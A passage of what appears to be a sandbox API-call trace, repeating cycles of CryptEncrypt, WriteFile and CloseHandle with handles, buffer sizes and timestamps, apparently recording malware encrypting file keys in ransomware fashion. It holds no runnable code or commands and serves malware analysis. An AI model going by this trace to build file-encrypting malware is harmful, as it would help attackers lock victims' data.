returned 1 [0226.389] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.389] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.390] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.390] CloseHandle (hObject=0x2aec) returned 1 [0226.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.427] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.428] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.428] CloseHandle (hObject=0x2aec) returned 1 [0226.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.431] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.431] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.432] CloseHandle (hObject=0x2aec) returned 1 [0226.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.435] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.435] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.435] CloseHandle (hObject=0x2aec) returned 1 [0226.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.438] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.438] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.438] CloseHandle (hObject=0x2aec) returned 1 [0226.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.443] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.443] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.443] CloseHandle (hObject=0x2aec) returned 1 [0226.455] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.455] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.455] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.456] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.456] CloseHandle (hObject=0x2aec) returned 1 [0226.459] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.459] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.460] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.460] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.460] CloseHandle (hObject=0x2aec) returned 1 [0226.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.471] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.471] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.472] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.472] CloseHandle (hObject=0x2aec) returned 1 [0226.474] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.474] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.475] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.475] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.475] CloseHandle (hObject=0x2aec) returned 1 [0226.481] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.481] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.482] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.482] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.482] CloseHandle (hObject=0x2aec) returned 1 [0226.488] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.488] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.489] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.489] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.489] CloseHandle (hObject=0x2aec) returned 1 [0226.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.495] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.496] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.496] CloseHandle (hObject=0x2aec) returned 1 [0226.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.561] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.561] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.561] CloseHandle (hObject=0x2aec) returned 1 [0226.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.565] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.565] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.566] CloseHandle (hObject=0x2aec) returned 1 [0226.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.570] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.570] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.570] CloseHandle (hObject=0x2aec) returned 1 [0226.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.574] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.574] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.574] CloseHandle (hObject=0x2aec) returned 1 [0226.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.577] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.578] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.578] CloseHandle (hObject=0x2aec) returned 1 [0226.596] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.597] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.597] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.597] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.598] CloseHandle (hObject=0x2aec) returned 1 [0226.602] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.602] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.603] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.603] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.604] CloseHandle (hObject=0x2aec) returned 1 [0226.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.617] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.617] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.618] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.618] CloseHandle (hObject=0x2aec) returned 1 [0226.622] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.623] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.623] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.623] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.624] CloseHandle (hObject=0x2aec) returned 1 [0226.633] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.633] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.633] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.634] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.634] CloseHandle (hObject=0x2aec) returned 1 [0226.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.637] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.638] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.638] CloseHandle (hObject=0x2aec) returned 1 [0226.651] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.651] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, 